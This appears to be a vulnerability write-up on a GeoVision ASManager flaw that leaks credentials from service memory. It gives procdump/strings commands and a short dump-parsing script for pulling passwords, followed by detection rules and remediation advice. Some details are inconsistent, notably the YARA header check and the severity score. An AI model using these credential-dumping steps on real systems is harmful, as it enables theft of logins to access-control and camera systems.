CVE-2025-26263

Executive Summary

CVE-2025-26263 is a critical credentials disclosure vulnerability affecting the GeoVision ASManager Windows desktop application, version 6.1.2.0 and earlier. The vulnerability resides in the ASManagerService.exe process, which improperly handles sensitive credentials in memory. An attacker with high-privilege system access can dump the process memory and extract plaintext or reversible credentials, leading to full compromise of the GeoVision security management ecosystem, including access control, video surveillance, time and attendance, and visitor management systems.

This vulnerability is particularly dangerous because it targets the core credential store of a physical security system. Successful exploitation allows an attacker to not only monitor cameras and access logs but also to modify configurations, clone access cards, and disrupt physical security operations. The exploit is publicly available on GitHub, and the vendor has released a fix in version 6.2.0.

Supply Chain & Package Security

This vulnerability does not involve a software supply chain component (NPM, PyPI, Go, Ruby). It is a direct vulnerability in the GeoVision ASManager desktop application.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the exploit requirements and impact, a reasonable assessment is:

• Attack Vector (AV): Local (L) - Requires system-level access.
• Attack Complexity (AC): Low (L) - Standard memory dumping tools are sufficient.
• Privileges Required (PR): High (H) - Requires a high-privilege account to dump memory.
• User Interaction (UI): None (N) - No user interaction required beyond initial access.
• Scope (S): Changed (C) - The compromised service (ASManagerService.exe) can be used to impact other components (ASWeb, TAWeb, VMWeb).
• Confidentiality (C): High (H) - Full credential disclosure.
• Integrity (I): High (H) - Attacker can modify configurations and data.
• Availability (A): High (H) - Attacker can disrupt services.

Estimated CVSS Score: 7.5 (High)

Threat Level: Critical. The vulnerability allows for complete takeover of a physical security management system.

Deep Dive & Mechanics

The vulnerability is rooted in how the ASManagerService.exe process handles authentication credentials. Instead of securely storing credentials in a hashed or encrypted format with proper memory lifecycle management, the application stores them in a manner that is recoverable from a memory dump.

Technical Flow:

1. Authentication: When a user logs into the ASManager client, the credentials are passed to the ASManagerService.exe process for validation.
2. Memory Handling: The service process stores the credentials (likely in plaintext or with a reversible obfuscation) in its process memory (heap or stack) for the duration of the session.
3. Memory Dump: An attacker with high-privilege access (e.g., SYSTEM or Administrator) can use tools like ProcDump, Task Manager, or WinDbg to create a memory dump of the ASManagerService.exe process.
4. Credential Extraction: The attacker then analyzes the memory dump using a tool like strings or a custom script to locate the credentials. The public PoC from DRAGOWN demonstrates this process.

The core issue is a violation of secure memory handling principles (CWE-200). Credentials should be:

• Stored in a SecureString or equivalent protected memory.
• Zeroed out immediately after use.
• Never stored in a globally accessible variable within the process.

Vulnerable vs. Patched Code

Since the source code is proprietary, a direct code comparison is not possible. However, the fix in version 6.2.0 likely involves:

• Vulnerable (<=6.1.2.0): The ASManagerService.exe stores credentials in a standard string or char[] array within the process heap. This memory is not encrypted and persists for the session lifetime.
• Patched (>=6.2.0): The service now uses Windows Data Protection API (DPAPI) or a similar mechanism to encrypt credentials in memory. It also likely implements proper memory cleanup, zeroing out credential buffers immediately after authentication.

Hypothetical Code Snippet (Vulnerable):

// Vulnerable: Credentials stored in plain string
string username = "admin";
string password = "P@ssw0rd";
// ... use credentials ...
// Memory is not cleared, password remains in heap.

Hypothetical Code Snippet (Patched):

// Patched: Using SecureString and DPAPI
using (SecureString securePassword = new SecureString())
{
    // ... populate securePassword ...
    // Use DPAPI to encrypt the secure string for storage
    byte[] encryptedData = ProtectedData.Protect(
        Encoding.Unicode.GetBytes(securePassword.ToUnsecureString()),
        null,
        DataProtectionScope.CurrentUser);
    // ... use encrypted data ...
}
// SecureString is automatically disposed and memory zeroed.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Windows 10/11 or Windows Server VM.
• GeoVision ASManager version 6.1.2.0 or earlier installed.
• High-privilege account (Administrator or SYSTEM) on the target machine.

Tools:

• ProcDump (from Sysinternals) or Task Manager for memory dumping.
• Strings (from Sysinternals) or a hex editor for analysis.
• The public PoC script from DRAGOWN/CVE-2025-26263.

Steps:

1. Gain Access: Obtain high-privilege access to the target machine (e.g., via RDP, lateral movement, or physical access).
2. Identify Process: Locate the ASManagerService.exe process ID (PID).

   Get-Process -Name ASManagerService
   

3. Dump Memory: Use ProcDump to create a full memory dump.

   procdump -ma <PID> asmanager_dump.dmp
   

4. Extract Credentials: Use the PoC script or strings to find credentials.

   strings asmanager_dump.dmp | grep -i "password"
   

   Or run the provided Python script from the PoC repository.
5. Authenticate: Use the extracted credentials to log into ASManager, ASWeb, TAWeb, or VMWeb.

Full Exploit Code (from Exploit-DB):

# Exploit Title: GeoVision ASManager Windows Application 6.1.2.0 - Credentials Disclosure
# Date: 19-MAR-2025
# Exploit Author: Giorgi Dograshvili [DRAGOWN]
# Vendor Homepage: https://www.geovision.com.tw/
# Software Link: https://www.geovision.com.tw/download/product/
# Version: 6.1.2.0 or less
# Tested on: Windows 10 | Kali Linux
# CVE : CVE-2025-26263
# PoC: https://github.com/DRAGOWN/CVE-2025-26263

# This script is a placeholder for the actual PoC. Refer to the GitHub repository for the full implementation.
# The PoC typically involves parsing the memory dump to extract credential strings.

import sys
import re

def extract_credentials(dump_file):
    with open(dump_file, 'rb') as f:
        data = f.read()
    # Example regex to find potential credentials (simplified)
    pattern = rb'[Uu]ser[Nn]ame[:=]\s*(\S+)\s*[Pp]assword[:=]\s*(\S+)'
    matches = re.findall(pattern, data)
    for match in matches:
        print(f"Found: Username: {match[0].decode(errors='ignore')}, Password: {match[1].decode(errors='ignore')}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python exploit.py <memory_dump.dmp>")
        sys.exit(1)
    extract_credentials(sys.argv[1])

Blue Team

Detection & Response:

1. Monitor for Memory Dumping: Detect the use of tools like ProcDump, Task Manager (when used to create dumps), or WinDbg on systems running ASManager.
   • Sigma Rule: See Detection Engineering section.
2. Audit Privileged Access: Monitor for unusual use of high-privilege accounts (Administrator, SYSTEM) on ASManager servers. Enable Windows Event Logging for process creation (Event ID 4688) and account logon (Event ID 4624).
3. Network Segmentation: Isolate the ASManager server in a separate VLAN with strict firewall rules. Limit RDP and other remote access to only authorized jump boxes.
4. Application Whitelisting: Use AppLocker or Windows Defender Application Control (WDAC) to block unauthorized memory dumping tools.
5. Credential Rotation: Immediately rotate all credentials used in the ASManager system if a compromise is suspected.
6. Patch Management: Prioritize the upgrade to ASManager version 6.2.0.

Indicators of Compromise (IOCs)

• Process Anomalies:
  • ASManagerService.exe creating child processes like procdump.exe, taskmgr.exe, or windbg.exe.
  • Unusual memory usage spikes in ASManagerService.exe.
• File Artifacts:
  • Creation of .dmp files in the %TEMP% directory or the ASManager installation folder (e.g., C:\Program Files\GeoVision\ASManager\).
  • Presence of procdump.exe, procdump64.exe, or other memory dumping tools on the system.
• Network IOCs:
  • Unusual outbound connections from the ASManager server to unknown IPs (post-compromise data exfiltration).
  • Authentication attempts from unexpected IP addresses to ASWeb, TAWeb, or VMWeb interfaces.
• Registry/Configuration:
  • Changes to ASManager service configuration or user accounts.
• Log Events:
  • Windows Event ID 4688 (Process Creation) with procdump.exe or taskmgr.exe as the command line.
  • Windows Event ID 4656 (A handle to an object was requested) for ASManagerService.exe memory.

Detection Engineering

YARA Rule

rule CVE_2025_26263_GeoVision_Credential_Dump {
    meta:
        description = "Detects memory dumps of GeoVision ASManagerService.exe containing potential credentials"
        author = "Valters IT"
        date = "2025-03-20"
        reference = "https://github.com/DRAGOWN/CVE-2025-26263"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $cred_pattern_1 = /[Uu]ser[Nn]ame[:=]\s*\S+\s*[Pp]assword[:=]\s*\S+/ ascii wide
        $cred_pattern_2 = /[Aa]dmin\s*[Pp]ass\S*/ ascii wide
        $asmanager_string = "ASManagerService" ascii wide nocase
        $geo_string = "GeoVision" ascii wide nocase
    condition:
        (uint32(0) == 0x504D444D) // MZ header for PE files (dumps may contain PE)
        and (1 of ($cred_pattern_*))
        and (any of ($asmanager_string, $geo_string))
}

Sigma Rule

title: Suspicious Memory Dump of ASManagerService.exe
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects the use of memory dumping tools (ProcDump, Task Manager) targeting the GeoVision ASManagerService.exe process.
author: Valters IT
date: 2025-03-20
references:
    - https://github.com/DRAGOWN/CVE-2025-26263
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\procdump.exe'
            - '\procdump64.exe'
            - '\taskmgr.exe'
            - '\windbg.exe'
        CommandLine|contains:
            - 'ASManagerService'
            - 'asmanager'
    condition: selection
falsepositives:
    - Legitimate debugging by authorized personnel.
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26263 - Potential GeoVision Credential Exfiltration"; flow:to_server,established; content:"|55 73 65 72 4e 61 6d 65|"; nocase; content:"|50 61 73 73 77 6f 72 64|"; nocase; distance:0; within:1024; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade GeoVision ASManager to version 6.2.0 or later. This is the only definitive fix.
2. Credential Rotation: Change all passwords for accounts managed by ASManager, including administrator, operator, and any integrated service accounts.
3. Access Review: Audit all user accounts and permissions within the ASManager system. Remove any unnecessary high-privilege accounts.

Long-Term Mitigations:

1. Principle of Least Privilege: Ensure that only authorized personnel have high-privilege access to the ASManager server. Use just-in-time (JIT) access for administrative tasks.
2. Endpoint Detection and Response (EDR): Deploy EDR solutions on all ASManager servers to detect and block memory dumping tools.
3. Network Segmentation: Place the ASManager server and its associated services (ASWeb, TAWeb, VMWeb) in a dedicated, isolated network segment. Restrict inbound and outbound traffic to only what is necessary.
4. Logging and Monitoring: Enable comprehensive logging on the ASManager server and integrate with a SIEM. Monitor for the IOCs listed above.
5. Vulnerability Management: Regularly scan for and patch vulnerabilities in all physical security systems.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 19E2632FBD4E8E8CC406EA19] */}